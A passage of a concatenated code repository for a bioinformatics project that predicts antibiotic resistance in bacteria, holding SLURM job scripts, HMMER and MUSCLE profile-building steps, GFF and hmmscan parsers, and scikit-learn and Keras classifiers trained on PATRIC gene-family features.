pickle.dump(ls_dicts, f)
create_df=create_df_from_hmmscandict()
create_df.run('../toy_dataset_susceptible')
"""
#!/bin/bash
#SBATCH --job-name=hmm_profile
#SBATCH --nodes=1
#SBATCH --mem=60gb
#SBATCH --ntasks-per-node=12
#SBATCH --array=1
module load hmmer
hmmscan --tblout PATRIC_scan_out.txt --cpu 10 hmm_database_flatfile 287999_new/PROKKA_12082020.ffn
"""```
run.sh
```#!/bin/bash
#SBATCH --job-name=MAGITICS_kmers
#SBATCH --nodes=1
#SBATCH --mem=60gb
#SBATCH --ntasks-per-node=5
#SBATCH --array=10
module load miniconda
module load dsk
conda activate /home/ylucas/.conda/env/python3_yvan/
pip3 install xlrd
python3 -u magitics/main.py --len_kmers $SLURM_ARRAY_TASK_ID > run.txt
```
Code_entretien.py
```import pandas as pd
import pandas_profiling
datapath='/home/ylucas/PycharmProjects/MAGITICS/toy_dataset/df_test.csv'
df=pd.read_csv(datapath)
```
learning.py
```import os
import pickle
import matplotlib.pyplot as plt
import numpy as np
import pandas as pd
import tensorflow as tf
import scipy.sparse as sp
import seaborn as sns
from sklearn import (ensemble, tree, feature_selection, metrics, model_selection, preprocessing)
import config as cfg
import numpy as np
import pandas as pd
#datadir='/home/ylucas/PycharmProjects/MAGITICS/toy_dataset/df.csv'
datadir='/home/ylucas/PycharmProjects/MAGITICS/toy_dataset/df.csv'
datatest='/home/ylucas/PycharmProjects/MAGITICS/toy_dataset/df_test.csv'
def match_cols(dfa, dfb):
"""
Match the columns of two dataframes that may present different columns (i.e. different plfams)
Args:
dfa: dataframe1
dfb: dataframe2
Returns: dfa, dfb
"""
colsa=dfa.columns
colsb=dfb.columns
ls_del=[]
for col in colsa:
if col not in colsb:
ls_del.append(col)
for col in colsb:
if col not in colsa:
ls_del.append(col)
for col in ls_del:
try:
dfa.drop([col], axis=1, inplace=True)
except Exception as e:
a=0
try:
dfb.drop([col], axis=1, inplace=True)
except Exception as e:
a=0
cols=dfa.columns
dfb=dfb[cols]
return dfa, dfb
def load_and_split():
"""
Load train and test set, match columns and return them along with a binary version
Returns: df, df_test, y_train, y_test, df_bin,df_test_bin
"""
df = pd.read_csv(datadir)
df_test=pd.read_csv(datatest)
df_test=df_test.fillna(0)
df_test.drop(['Unnamed: 0'], axis=1, inplace=True)
#df.dropna(axis=1, thresh=int(np.floor(len(df)*7/10)), inplace=True)
df=df.fillna(0)
df.drop(['Unnamed: 0'], axis=1, inplace=True)
#df.drop(df.std()[df.std() < 0.2].index.values, axis=1, inplace=True)
df, df_test=match_cols(df, df_test)
#X_train, X_test, y_train, y_test = model_selection.train_test_split(df , df['label'], test_size=0.25,random_state=42)
y_train=df['label']
y_test=df_test['label']
df.drop(['label'],axis=1, inplace=True)
df_bin=df.copy(deep=True)
df_bin[df_bin!=0]=1
df_test.drop(['label'], axis=1,inplace=True)
df_test_bin=df_test.copy(deep=True)
df_test_bin[df_test_bin!=0]=1
return df, df_test, y_train, y_test, df_bin,df_test_bin
def le_target(y_train, y_test):
"""
Label encode the target columns so that it is scikit learn compliant
Args:
y_train: train target column
y_test: test target column
Returns: y_train, y_test
"""
le = preprocessing.LabelEncoder()
y_train = le.fit_transform(y_train)
y_test=le.transform(y_test)
return y_train, y_test
def create_nn(arr):
"""
Create and return a neural network model using a list of characteristics as input
example:
model=create_nn([len(X_train.columns),100,100,1])
Args:
arr: list of characteristics (example: [len(X_train.columns),100,100,1] )
Returns: model (keras object)
"""
model=tf.keras.models.Sequential()
for i in range(len(arr)):
if i!=0 and i!=len(arr)-1:
if i==1:
model.add(tf.keras.layers.Dense(arr[i],input_dim=arr[0],kernel_initializer='normal', activation='relu'))
else:
model.add(tf.keras.layers.Dense(arr[i],activation='relu'))
model.add(tf.keras.layers.Dense(arr[-1],kernel_initializer='normal',activation="sigmoid"))
model.compile(loss="binary_crossentropy",optimizer='rmsprop',metrics=['accuracy'])
return model
def plot_boosting_learning_curve(X_test, y_test, model):
"""
Plot boosting learning curve (test/train deviance = f (n_estimator) )
Args:
X_test: input data matrix
y_test: ground truth vector
model: boosting model object (scikitlearn)
"""
test_score = np.zeros((200,), dtype=np.float64)
for i, y_pred in enumerate(model.staged_predict(X_test)):
test_score[i] = model.loss_(y_test, y_pred)
sns.set()
fig = plt.figure(figsize=(6, 6))
plt.subplot(1, 1, 1)
#plt.title(cfg.xp_name + " // ROC AUC = " + str(self.score))
plt.plot(np.arange(200) + 1, model.train_score_,
"b-", label="Training Set Deviance")
plt.plot(np.arange(200) + 1, test_score, "r-",
label="Test Set Deviance")
plt.legend(loc="upper right")
plt.xlabel("Boosting Iterations")
plt.ylabel("Deviance")
fig.tight_layout()
def get_n_best_correlated(k=400):
"""
Returns the list of k most correlated features of the dataframe df with the target and their correlation value
Args:
k:
Returns: list of most correlated feature, dataframe
"""
df = pd.read_csv(datadir)
df = df.fillna(0)
df['label'] = df['label'].astype('category').cat.codes
df[df != 0] = 1
ls_corr = df[df.columns].corr()['label'][:]
ls_corr = ls_corr.abs()
ls_max = ls_corr.nlargest(n=k)
return ls_max, df
def plot_ROC(y_true, y_pred, y_pred_bin):
"""
Plot ROC curves for pred_scores and pred_binary
Args:
y_true: true label
y_pred: prediction using HMM scores
y_pred_bin: prediction using binary features (presence/absence of PLFAMs)
"""
fpr, tpr, tr = metrics.roc_curve(y_true, y_pred)
auc=metrics.auc(fpr, tpr)
fpr_bin, tpr_bin, tr=metrics.roc_curve(y_true, y_pred_bin)
auc_bin=metrics.auc(fpr_bin, tpr_bin)
plt.figure()
plt.plot(fpr, tpr, color='blue', label='Score prediction (AUC = %0.2f)'%auc)
plt.plot(fpr_bin, tpr_bin, color='red', label='Binary prediction (AUC = %0.2f)'%auc_bin)
plt.xlabel('False Positive Rate')
plt.ylabel('True Positive Rate')
plt.title('Boosting ROC curve')
plt.legend(loc="lower right")
def plot_PR(y_true, y_pred):
"""
Plot Precision-Recall curves for pred_scores and pred_binary
Args:
y_true: true label
y_pred: prediction using HMM scores
y_pred_bin: prediction using binary features (presence/absence of PLFAMs)
"""
pr, rec, tr = metrics.precision_recall_curve(y_true, y_pred)
#auc=metrics.auc(pr, rec)
auc=0
#pr_bin, rec_bin, tr=metrics.precision_recall_curve(y_true, y_pred_bin)
#auc_bin=metrics.auc(pr_bin, rec_bin)
auc_bin=0
plt.figure()
plt.plot(rec, pr, color='blue', label='Score prediction' )
#plt.plot(rec_bin, pr_bin, color='red', label='Binary prediction')
plt.xlabel('Recall')
plt.ylabel('Precision')
plt.title('Boosting PR curve')
plt.legend(loc="upper right")
def grid_search_boosting(model):
import ray
from ray.tune.sklearn import TuneGridSearchCV
parameters = {
"learning_rate": [0.01, 0.1, 1],
"max_depth": [1, 3, 5],
"subsample": [0.5, 1.0],
}
tunesearch=ray.tune.sklearn.TuneGridSearchCV(model, parameters, early_stopping=True)# max_iter=10, search_optimization="bayesian", n_trials=3)
return tunesearch
X_train, X_test, y_train, y_test, X_train_bin, X_test_bin=load_and_split()
y_train, y_test = le_target(y_train, y_test)
"""
model=create_nn([len(X_train.columns),50,1])
model.fit(np.array(X_train), np.array(y_train), epochs=100, validation_split=0.2)
model.evaluate(X_test, y_test, verbose=5)
pred=model.predict_proba(X_test)
#model_bin=create_nnbis([len(X_train_bin.columns),50,1])
#model_bin.fit(np.array(X_train_bin), np.array(y_train), epochs=100, validation_split=0.2)
#pred_bin=model.predict_proba(X_test_bin)
"""
model=ensemble.GradientBoostingClassifier(n_estimators=50, max_features=None, max_depth=1, subsample=0.4)#, validation_fraction=0.1, n_iter_no_change=20)
model_search=grid_search_boosting(model)
model.fit(X_train, y_train)
#model_bin=ensemble.GradientBoostingClassifier(n_estimators=200,max_features=None, max_depth=1, subsample=0.4)#, validation_fraction=0.1, n_iter_no_change=20)
#model_bin.fit(X_train, y_train)
#plot_boosting_learning_curve(X_test_bin, y_test,model_bin)
pred=model.predict_proba(X_test)[:,1]
#pred_bin=model_bin.predict_proba(X_test_bin)[:,1]
#plot_ROC(y_test, pred, pred_bin)
plot_PR(y_test, pred)#, pred_bin)
plot_boosting_learning_curve(X_test, y_test, model)
acc=metrics.accuracy_score(y_test, np.round(pred))
#acc_bin=metrics.accuracy_score(y_test, np.round(pred_bin))
```
PLFAM_annotation.py
```import pandas as pd
import numpy as np
import argparse
from collections import defaultdict
from Bio import SearchIO
####################################################################
#TODO 1. Parse existing gff using gff_to_pandas() class
class gff_to_pandas(object):
def __init__(self):
return
def gffs_to_dic(self, pathtogff):
with open(pathtogff, 'r') as f:
lines=f.readlines()
dic={'scaffold': [], 'source': [], 'type': [], 'start': [], 'end': [],
'score': [], 'strand': [], 'frame': [], 'attributes': [], 'ID':[], 'eC_number':[],'Name':[],
'db_xref':[], 'gene':[], 'inference':[], 'locus_tag':[], 'product':[], 'note':[], 'rpt_family':[],
'rpt_type':[]}
tabsplit=['scaffold','source','type','start','end','score','strand','frame','attributes']
for line in lines[1:]:
#print(line)
if len(line.split('\t'))<3:
continue
line=line.split('\t')
for thing, head in zip(line,tabsplit):
dic[head].append(thing)
attributes=dic['attributes'][-1].split(';')
IDTHERE=0
for thing in attributes:
splitted=thing.split('=')
dic[splitted[0]].append(splitted[1])
if splitted[0]=='ID':
IDTHERE=1
if IDTHERE==0:
print(attributes)
keyslist=list(dic.keys())
keyslist.remove('ID')
for key in keyslist:
del dic[key][-1]
# inference=dic['inference'][-1].split(':')
# if len(inference)==5:
# dic['prot_fam'].append(inference[-1])
# else:
# dic['prot_fam'].append('protein')
todel=['eC_number', 'Name','gene','inference','note', 'db_xref','locus_tag','product', 'rpt_family', 'rpt_type']
for thing in todel:
del(dic[thing])
return dic
def lsdic_to_pandas(self, dic):
for key in dic.keys():
print(key)
print(len(dic[key]))
#dfs=[]
# for key in ls_dic[0]:
# print(key)
# print(len(ls_dic[0][key]))
#for dic in ls_dic:
# dfs.append(pd.DataFrame.from_dict(dic))
#dfs=pd.concat(dfs, ignore_index=True)
df=pd.DataFrame.from_dict(dic)
return df
def run(self, path):
ls_dic=self.gffs_to_dic(path)
dfs=self.lsdic_to_pandas(ls_dic)
types = {'start': np.int64, 'end': np.int64}
dfs = dfs.astype(types)
dfs['size']=dfs['end']-dfs['start']
return dfs
##################################################################################
#TODO 2. Parse hmmscan output to get locus <-> annotation correspondance
class hmmscan_to_pandas(object):
def __init__(self):
return
def parse_file(self, path):
attribs = ['query_id', 'bitscore', 'evalue', 'id']
hits = defaultdict(list)
with open(path) as handle:
for queryresult in SearchIO.parse(handle, 'hmmer3-tab'):
#print(queryresult.id)
#print(queryresult.accession)
#print(queryresult.description)
for hit in queryresult.hits:
for attrib in attribs:
hits[attrib].append(getattr(hit, attrib))
df=pd.DataFrame.from_dict(hits)
return df
def get_score_values(self, df):
grouped = df.groupby('query_id')
uniques = df['query_id'].unique()
ls_evalue = []
ls_score = []
ls_ratio = []
for locus_id in uniques:
group = grouped.get_group(locus_id)
try:
ls_evalue.append(np.log10(group.iloc[0, 2]) - np.log10(group.iloc[1, 2]))
ls_score.append(group.iloc[0, 1])
ls_ratio.append(group.iloc[0, 1] - group.iloc[1, 1])
except:
a = 1
def get_annotation(self, df):
grouped = df.groupby('query_id')
uniques = df['query_id'].unique()
dic_annotation={}
for locus_id in uniques:
group = grouped.get_group(locus_id)
dic_annotation[group.iloc[0,0]]=group.iloc[0,3] #todo verifier coordinates
return dic_annotation
##############################################################################################
#todo 3. Add annotation as a column to the gff parsed as pandas and save dataframe as csv
class annotate_and_save(object):
def __init__(self):
return
def run(self, df, dic_annotation):
df['PLFAM']=0
for key in dic_annotation:
df.loc[df['ID']==key, 'PLFAM']=dic_annotation[key]
return df
def get_lenkmers():
parser=argparse.ArgumentParser()
parser.add_argument('--pathgff', type=str, default='/home/ylucas/magitics_data/NMDC60014126_prokka/NMDC60014126.gff')
parser.add_argument('--pathhmmscan', type=str, default='/home/ylucas/magitics_data/NMDC60014126_prokka/cef_hmm_pred.txt')
parser.add_argument('--outpath', type=str, default='/home/ylucas/magitics_data/NMDC60014126_prokka/PLFAM_annotation.csv')
arg=parser.parse_args()
return arg
if __name__=='__main__':
args= get_lenkmers()
pathgff=args.pathgff
gff_parse=gff_to_pandas()
parsed_gff=gff_parse.run(pathgff)
pathhmmscan=args.pathhmmscan
hmmscan_parse=hmmscan_to_pandas()
parsed_hmmscan=hmmscan_parse.parse_file(pathhmmscan)
dic_annotation=hmmscan_parse.get_annotation(parsed_hmmscan)
annotation=annotate_and_save()
parsed_gff=annotation.run(parsed_gff, dic_annotation)
parsed_gff.to_csv(args.outpath, index=False)
```
gene_family.py
```import pandas as pd
import os, sys
from Bio import SeqIO
import numpy as np
class gene_family_file(object):
def __init__(self):
return
def parse_patric_gff(self, pathtofile):
print(pathtofile)
df=pd.read_csv(pathtofile, sep='\t')
return df
def dic_data(self,row, contig_number):
dic={}
dic['contig']=contig_number -1
dic['start']=int(row['start'])
dic['end']=int(row['end'])
dic['patric_id']=str(row['patric_id'])
dic['plfam_id']=str(row['plfam_id'])
dic['genome']=str(row['genome_name'])
return dic
def get_locus_plfams(self, df):
"""
get locus of gene (start end), contig number, patric_id and plfam if feature_type=='CDS'
"""
ls=[]
contig_number=0
prev_contig=''
for index, row in df.iterrows():
if not row['accession'] == prev_contig:
contig_number+=1
prev_contig=row['accession']
if row['feature_type']=='CDS':
ls.append(self.dic_data(row, contig_number))
return ls
def write_plfam_fastas(self, pathtofasta, pathtogff, label):
df=self.parse_patric_gff(pathtogff)
ls_dics=self.get_locus_plfams(df)
fasta=SeqIO.parse(pathtofasta, 'fasta')
ls_contigs=[]
for contig in fasta:
ls_contigs.append(contig)
for dic in ls_dics:
try:
plfam=dic['plfam_id']
prot_seq=ls_contigs[dic['contig']][dic['start']-1:dic['end']-1] #.translate()
write_seq=''.join([aa for aa in prot_seq])
with open(os.path.join('/scratch/MAGITICS_data/Pseudomonas/plfams_nuc',plfam), 'a') as f:
f.write('>'+dic['genome']+'|'+dic['patric_id']+'|Amikacin: susceptible \n')
f.write(write_seq)
f.write('\n')
self.count+=1
except Exception as e:
print(e)
print(dic['plfam_id'])
print(dic['contig'])
print(dic['start'])
print(dic['end'])
print(len(ls_contigs[dic['contig']]))
def unique_listdir_PATRIC(self, filelist):
ls_unique=[]
for thing in filelist:
ls_unique.append('.'.join(thing.split('.')[:2]))
return list(set(ls_unique))
def get_label(self, pathtofolder):
label=pathtofolder.split('/')[-1]
return label
def run(self, pathtofolder='/scratch/MAGITICS_data/Pseudomonas/amikacin/Susceptible'):
self.count=0
strainlist=self.unique_listdir_PATRIC(os.listdir(pathtofolder))
for strainID in strainlist:
pathtofasta=os.path.join(pathtofolder, strainID+'.fna')
pathtogff=os.path.join(pathtofolder, strainID+'.PATRIC.features.tab')
label=self.get_label(pathtofolder)
self.write_plfam_fastas(pathtofasta, pathtogff, label)
gene_fam=gene_family_file()
gene_fam.run()
class gff_to_pandas(object):
def __init__(self):
return
def gffs_to_dic(self, pathtogff):
with open(pathtogff, 'r') as f:
lines=f.readlines()
dic={'scaffold': [], 'source': [], 'type': [], 'start': [], 'end': [],
'score': [], 'strand': [], 'frame': [], 'attributes': [], 'ID': [], 'eC_number':[], 'Name': [], 'gene': [],
'inference': [], 'locus_tag': [],
'product': [], 'prot_fam': [],
'note': []}
tabsplit=['scaffold','source','type','start','end','score','strand','frame','attributes']
for line in lines[1:]:
#print(line)
if len(line.split('\t'))<3:
continue
line=line.split('\t')
for thing, head in zip(line,tabsplit):
dic[head].append(thing)
attributes=dic['attributes'][-1].split(';')
for thing in attributes:
splitted=thing.split('=')
dic[splitted[0]].append(splitted[1])
inference=dic['inference'][-1].split(':')
if len(inference)==5:
dic['prot_fam'].append(inference[-1])
else:
dic['prot_fam'].append('protein')
todel=['eC_number', 'Name','gene','inference','note']
for thing in todel:
del(dic[thing])
return dic
def lsdic_to_pandas(self, ls_dic):
dfs=[]
for key in ls_dic[0]:
print(key)
print(len(ls_dic[0][key]))
for dic in ls_dic:
dfs.append(pd.DataFrame.from_dict(dic))
dfs=pd.concat(dfs, ignore_index=True)
return dfs
def describe(self, dfs):
a=dfs.describe(include='all')
count3=0
for plfam in np.unique(dfs['prot_fam']):
a=dfs['size'][dfs['prot_fam']==plfam]
b,c = np.unique(a, return_counts=True)
print(plfam)
print(b)
print(c)
print(np.sum(c))
print('---')
if len(b)==1:
count3+=1
print(count3)
print(len(np.unique(dfs['prot_fam'])))
return a
def run(self):
ls_path=['/home/ylucas/Bureau/annotated_fastas/1313.5461.gff','/home/ylucas/Bureau/annotated_fastas/1313.5465.gff','/home/ylucas/Bureau/annotated_fastas/1313.5466.gff']
ls_dic=[]
for path in ls_path:
ls_dic.append(self.gffs_to_dic(path))
dfs=self.lsdic_to_pandas(ls_dic)
types = {'start': np.int64, 'end': np.int64}
dfs = dfs.astype(types)
print(dfs.dtypes)
dfs['size']=dfs['end']-dfs['start']
self.dfs = dfs
self.dic=ls_dic
self.desc=self.describe(dfs)
#parse=gff_to_pandas()
#parse.run()```
trainHMMs.py
```
#TODO 1 PARSE GFF+FASTA POUR FAIRE LISTE DE SUPERVISED PLFAM SEQ
import pandas as pd
import os, sys
from Bio import SeqIO
import numpy as np
class gene_family_file(object):
"""
Create supervised gene family files (fasta format) using PATRIC's PLFAM annotation
"""
def __init__(self):
return
def parse_patric_gff(self, pathtofile):
"""
Parse patric gff into a pandas dataframe
Args:
pathtofile: path to the patric gff
Returns: dataframe
"""
print(pathtofile)
df=pd.read_csv(pathtofile, sep='\t')
return df
def dic_data(self,row, contig_number):
"""
Parse the properties of 1 CDS (=row in PATRIC gff file) into a dictionary and return it
Args:
row: CDS properties
contig_number: contig number is not contained per se in the CDS properties, it is therefore passed as argument
Returns: CDS properties stored into a dictionary
"""
dic={}
dic['contig']=contig_number -1
dic['start']=int(row['start'])
dic['end']=int(row['end'])
dic['patric_id']=str(row['patric_id'])
dic['plfam_id']=str(row['plfam_id'])
dic['genome']=str(row['genome_name'])
return dic
def get_locus_plfams(self, df):
"""
Iterate over PATRIC annotation file rows and create a dictionary of CDS properties for each row
Args:
df: PATRIC annotation file parsed in Pandas
Returns: list of dicts each containing 1 CDS properties
"""
ls=[]
contig_number=0
prev_contig=''
for index, row in df.iterrows():
if not row['accession'] == prev_contig:
contig_number+=1
prev_contig=row['accession']
if row['feature_type']=='CDS':
ls.append(self.dic_data(row, contig_number))
return ls
def write_plfam_fastas(self, pathtofasta, pathtogff, label):
"""
Parse PATRIC annotation file, create a list of dictionary containing CDS properties and write the corresponding nucleotide
sequences in a fasta like file for each PLFAM*susceptible/resistant
Args:
pathtofasta: path to the assembled genome fasta
pathtogff: path to the PATRIC annotation file
label: label of the strain (susceptible/resistant) to write the fasta output in the correct folder
"""
df=self.parse_patric_gff(pathtogff)
ls_dics=self.get_locus_plfams(df)
fasta=SeqIO.parse(pathtofasta, 'fasta')
ls_contigs=[]
for contig in fasta:
ls_contigs.append(contig)
for dic in ls_dics:
try:
plfam=dic['plfam_id']
prot_seq=ls_contigs[dic['contig']][dic['start']-1:dic['end']-1] #.translate()
write_seq=''.join([aa for aa in prot_seq])
with open(os.path.join('../toy_dataset/plfams/',label, plfam), 'a') as f:
f.write('>'+dic['genome']+'|'+dic['patric_id']+'\n')
f.write(write_seq)
f.write('\n')
self.count+=1
except Exception as e:
print(e)
print(dic['plfam_id'])
print(dic['contig'])
print(dic['start'])
print(dic['end'])
print(len(ls_contigs[dic['contig']]))
def unique_listdir_PATRIC(self, filelist):
"""
Utility function to get the list of unique strainnames because each strain has 2 files (assembled genome+annotation file)
Args:
filelist: list of "doubled" files
Returns: list of unique strainnames
"""
ls_unique=[]
for thing in filelist:
ls_unique.append('.'.join(thing.split('.')[:2]))
return list(set(ls_unique))
def get_label(self, pathtofolder):
"""
Get the label of the strain from the path
Args:
pathtofolder:
Returns: label
"""
label=pathtofolder.split('/')[-1]
return label
def run(self, pathtofolder='../toy_dataset/susceptible'):
"""
Create supervised gene family file (fasta like) for each strain of the folder "pathtofolder"
Args:
pathtofolder:
Returns:
"""
self.count=0
strainlist=self.unique_listdir_PATRIC(os.listdir(pathtofolder))
for strainID in strainlist:
pathtofasta=os.path.join(pathtofolder, strainID+'.fna')
pathtogff=os.path.join(pathtofolder, strainID+'.PATRIC.features.tab')
label=self.get_label(pathtofolder)
self.write_plfam_fastas(pathtofasta, pathtogff, label)
#gene_fam=gene_family_file()
#gene_fam.run()
#TODO 2: MSA + HMM PROFILE PAR PLFAM
# This part is done on terminal in order to build hmm profiles for each fasta
"""
Execute the following bash commands:
* cd plfams/resistant/
* ls > ../ls_plfams_resistant.txt
* cd ../..
* mkdir aligns
* cd aligns
* mkdir resistant
* mkdir susceptible
* cd ..
* mkdir hmm_profiles
* cd hmm_profiles
* mkdir resistant
* mkdir susceptible
* cd ..
write the following bash script using nano and save it under the name run.sh
run the script using:
* sbatch run.sh
------------------
#!/bin/bash
#SBATCH --job-name=musclehmmer
#SBATCH --nodes=1
#SBATCH --mem=8gb
#SBATCH --ntasks-per-node=1
#SBATCH --array=1-10000%100 #The range of the array will need to be updated
# in order to cover the totality of the plfams collection
module load hmmer
module load muscle
FILENAME=$(head -n $(($SLURM_ARRAY_TASK_ID)) ls_plfams_resistant.txt |tail -1)
muscle -in plfams/$FILENAME -out aligns/$FILENAME
hmmbuild hmm_profiles/$FILENAME aligns/$FILENAME
------------------
"""
#TODO 3: HMM FLATFILE PAR COUPLE DE PROFILE DE PLFAM
#1. Get list of existing hmm_profiles
def write_plfam_lists(pathresistant='../toy_dataset/plfams/resistant', pathsusceptible='../toy_dataset/plfams/susceptible', pathtowrite='../toy_dataset/plfams'):
"""
Write the list of hmmprofiles that are either: only susceptible, only resistant or present in susceptible and resistant
Args:
pathresistant:
pathsusceptible:
pathtowrite:
"""
ls_resistant=os.listdir(pathresistant)
ls_susceptible=os.listdir(pathsusceptible)
susceptible_only=open(os.path.join(pathtowrite, 'susceptible_only.txt'),'w')
resistant_only=open(os.path.join(pathtowrite, 'resistant_only.txt'),'w')
both_susc_and_res=open(os.path.join(pathtowrite, 'both_susc_and_res.txt'),'w')
for thing in ls_susceptible:
if thing in ls_resistant:
both_susc_and_res.write(thing+'\n')
else:
susceptible_only.write(thing+'\n')
for thing in ls_resistant:
if thing not in ls_susceptible:
resistant_only.write(thing+'\n')
susceptible_only.close()
resistant_only.close()
both_susc_and_res.close()
#TODO 1.5 move and rename hmm_profiles to the same folder: susceptiblePLFXXX and resistantPLFXXX
#TODO 2 concatenate hmm_profiles of the same plfam
"""
run the script using:
* sbatch run.sh
------------------
#!/bin/bash
#SBATCH --job-name=cat_profile
#SBATCH --nodes=1
#SBATCH --mem=8gb
#SBATCH --ntasks-per-node=1
#SBATCH --array=1-10000%100 #The range of the array will need to be updated
# in order to cover the totality of the plfams collection
FILENAME=$(head -n $(($SLURM_ARRAY_TASK_ID)) both_susc_and_res.txt |tail -1)
#mv hmm_profiles/susceptible_$FILENAME catted_profiles/$FILENAME
cat hmm_profiles/resistant_$FILENAME hmm_profiles/susceptible_$FILENAME > catted_profiles/$FILENAME
------------------
"""
#TODO HMMpress catted profiles
"""
Execute the following bash commands:
* mkdir flatfiles
------------------
#!/bin/bash
#SBATCH --job-name=cat_profile
#SBATCH --nodes=1
#SBATCH --mem=8gb
#SBATCH --ntasks-per-node=1
#SBATCH --array=1-10000%100 #The range of the array will need to be updated
# in order to cover the totality of the plfams collection
FILENAME=$(head -n $(($SLURM_ARRAY_TASK_ID)) both_susc_and_res.txt |tail -1)
#mv hmm_profiles/susceptible_$FILENAME catted_profiles/$FILENAME
cat hmm_profiles/resistant_$FILENAME hmm_profiles/susceptible_$FILENAME > catted_profiles/$FILENAME
------------------
"""
```
test.py
```import numpy as np
import pandas as pd
import os
from Bio import SeqIO
# import pandas as pd
# df=pd.read_csv('/home/ylucas/Bureau/annotated_fastas/1313.5461.PATRIC.features.tab',sep='\t')
# from Bio import SeqIO
# it=SeqIO.parse('/home/ylucas/Bureau/annotated_fastas/1313.5461.fna','fasta')
# ls=[]
# for truc in it:
# ls.append(truc)
# path='/home/ylucas/magitics_data/cefepime/'
# ls_paths=os.listdir(path)
#
# ls_dfs=[]
# for folder in ls_paths:
# for file in os.listdir(os.path.join(path, folder)):
# ls_dfs.append(pd.read_csv(os.path.join(path,folder,file), sep= '\t'))
# df=pd.concat(ls_dfs, ignore_index=True)
#a=df['plfam_id'].value_counts()
#a=df['plfam_id'].hist(bins=10)
# with open('/home/ylucas/magitics_data/ls_file.txt', 'r') as f:
# ls_file=f.readlines()
#
# with open('/home/ylucas/magitics_data/ls_aligns.txt','r') as f:
# ls_aligns=f.readlines()
#
# ls_missing=[]
# for i in ls_file:
# if i not in ls_aligns:
# ls_missing.append(i)
from BCBio import GFF
class parse_gff_fasta_to_extract_CDS(object):
def __init__(self):
return
def parse_gff(self, pathgff):
import gffutils
db = gffutils.create_db(data=pathgff, dbfn='memory',
force=True)
return db
def parse_fasta(self, pathfasta):
import pyfaidx
fasta = pyfaidx.Fasta(pathfasta)
def run(self, path):
pathgff=os.path.join(path, 'gnagna.gff')
pathfasta=os.path.join(path, 'gnagna.fna')
db=self.parse_gff(pathgff)
fasta=self.parse_fasta(pathfasta)
ls_seq = []
ls_id=[]
for cds in db.features_of_type('CDS', order_by='start'):
ls_seq.append(cds.sequence(fasta))
ls_id.append(cds.id)
# df=pd.read_csv('/home/ylucas/Bureau/annotated_fastas/1313.5461.PATRIC.features.tab',sep='\t')
# from Bio import SeqIO
# it=SeqIO.parse('/home/ylucas/Bureau/annotated_fastas/1313.5461.fna','fasta')
# ls=[]
# for truc in it:
# ls.append(truc)
#GFF_fasta=parse_gff_fasta_to_extract_CDS()
#GFF_fasta.parse_gff('/home/ylucas/magitics_data/Prokka_annotation/PROKKA_11092020.gff')
"""
from collections import defaultdict
import pandas as pd
from Bio import SearchIO
filename = '/home/ylucas/magitics_data/hmmscan_out.txt'
attribs = ['accession', 'bias', 'bitscore', 'description', 'cluster_num', 'domain_exp_num', 'domain_included_num', 'domain_obs_num', 'domain_reported_num', 'env_num', 'evalue', 'id', 'overlap_num', 'region_num']
hits = defaultdict(list)
with open(filename) as handle:
for queryresult in SearchIO.parse(handle, 'hmmer3-tab'):
#print(queryresult.id)
#print(queryresult.accession)
#print(queryresult.description)
for hit in queryresult.hits:
for attrib in attribs:
hits[attrib].append(getattr(hit, attrib))
df=pd.DataFrame.from_dict(hits)
import pandas as pd
path='/home/ylucas/magitics_data/cef_hmm_pred.txt'
df= pd.read_csv(path, sep='\t')
file=open(path,'r')
lines=file.readlines()
print(lines[:10])
"""
"""
path='/home/ylucas/magitics_data/cef_hmm_pred.txt'
from collections import defaultdict
import pandas as pd
from Bio import SearchIO
attribs = ['query_id', 'bitscore','evalue', 'id']
hits = defaultdict(list)
with open(path) as handle:
for queryresult in SearchIO.parse(handle, 'hmmer3-tab'):
#print(queryresult.id)
#print(queryresult.accession)
#print(queryresult.description)
for hit in queryresult.hits:
for attrib in attribs:
hits[attrib].append(getattr(hit, attrib))
df=pd.DataFrame.from_dict(hits)
grouped=df.groupby('query_id')
uniques=df['query_id'].unique()
ls_evalue=[]
ls_score=[]
ls_ratio=[]
for locus_id in uniques:
group=grouped.get_group(locus_id)
try:
ls_evalue.append(np.log10(group.iloc[0,2])-np.log10(group.iloc[1,2]))
ls_score.append(np.log10(group.iloc[0, 2]))
ls_ratio.append(group.iloc[0, 1]-group.iloc[1, 1])
except:
a=1
import matplotlib.pyplot as plt
ls_a=[]
for thing in ls_evalue:
if thing>-3000:
ls_a.append(thing)
c=0
for thing in ls_a:
if thing<2:
c+=1
plt.hist(ls_a, bins=100)
"""
import pandas as pd
import numpy as np
import argparse
from collections import defaultdict
from Bio import SearchIO, SeqIO
class hmmscan_to_pandas(object):
def __init__(self):
return
def parse_file(self, path):
attribs = ['query_id', 'bitscore', 'evalue', 'id']
hits = defaultdict(list)
with open(path) as handle:
for queryresult in SearchIO.parse(handle, 'hmmer3-tab'):
#print(queryresult.id)
#print(queryresult.accession)
#print(queryresult.description)
for hit in queryresult.hits:
for attrib in attribs:
hits[attrib].append(getattr(hit, attrib))
df=pd.DataFrame.from_dict(hits)
return df
def get_score_values(self, df):
grouped = df.groupby('query_id')
uniques = df['query_id'].unique()
ls_evalue = []
ls_score = []
ls_ratio = []
for locus_id in uniques:
group = grouped.get_group(locus_id)
try:
ls_evalue.append(np.log10(group.iloc[0, 2]) - np.log10(group.iloc[1, 2]))
ls_score.append(group.iloc[0, 1])
ls_ratio.append(group.iloc[0, 1] - group.iloc[1, 1])
except:
a = 1
def get_annotation(self, df):
grouped = df.groupby('query_id')
uniques = df['query_id'].unique()
dic_annotation={}
for locus_id in uniques:
group = grouped.get_group(locus_id)
dic_annotation[group.iloc[0,0]]=group.iloc[0,3] #todo verifier coordinates
return dic_annotation
pathhmmscan='/home/ylucas/287999_hmmscan.txt'
hmmscan_parse=hmmscan_to_pandas()
parsed_hmmscan=hmmscan_parse.parse_file(pathhmmscan)
dic_annotation=hmmscan_parse.get_annotation(parsed_hmmscan)
ls_scan=[]
for key in dic_annotation:
ls_scan.append(dic_annotation[key])
pathpatric='/home/ylucas/287.999.PATRIC.features.tab'
df=pd.read_csv(pathpatric, sep='\t')
# Get names of indexes for which column Age has value 30
indexNames = df[ df['feature_type'] != 'CDS' ].index
# Delete these row indexes from dataFrame
df.drop(indexNames , inplace=True)
ls_pat=df['plfam_id'].to_list()
import difflib
sm=difflib.SequenceMatcher(None, ls_pat, ls_scan)
sm.ratio()
ls_wrong=[]
for thing in ls_pat:
if thing in ls_scan:
ls_scan.remove(thing)
grouped=parsed_hmmscan.groupby('query_id')
dic_wrong={}
dic_wrong_noratio={}
for wrongplf in ls_scan:
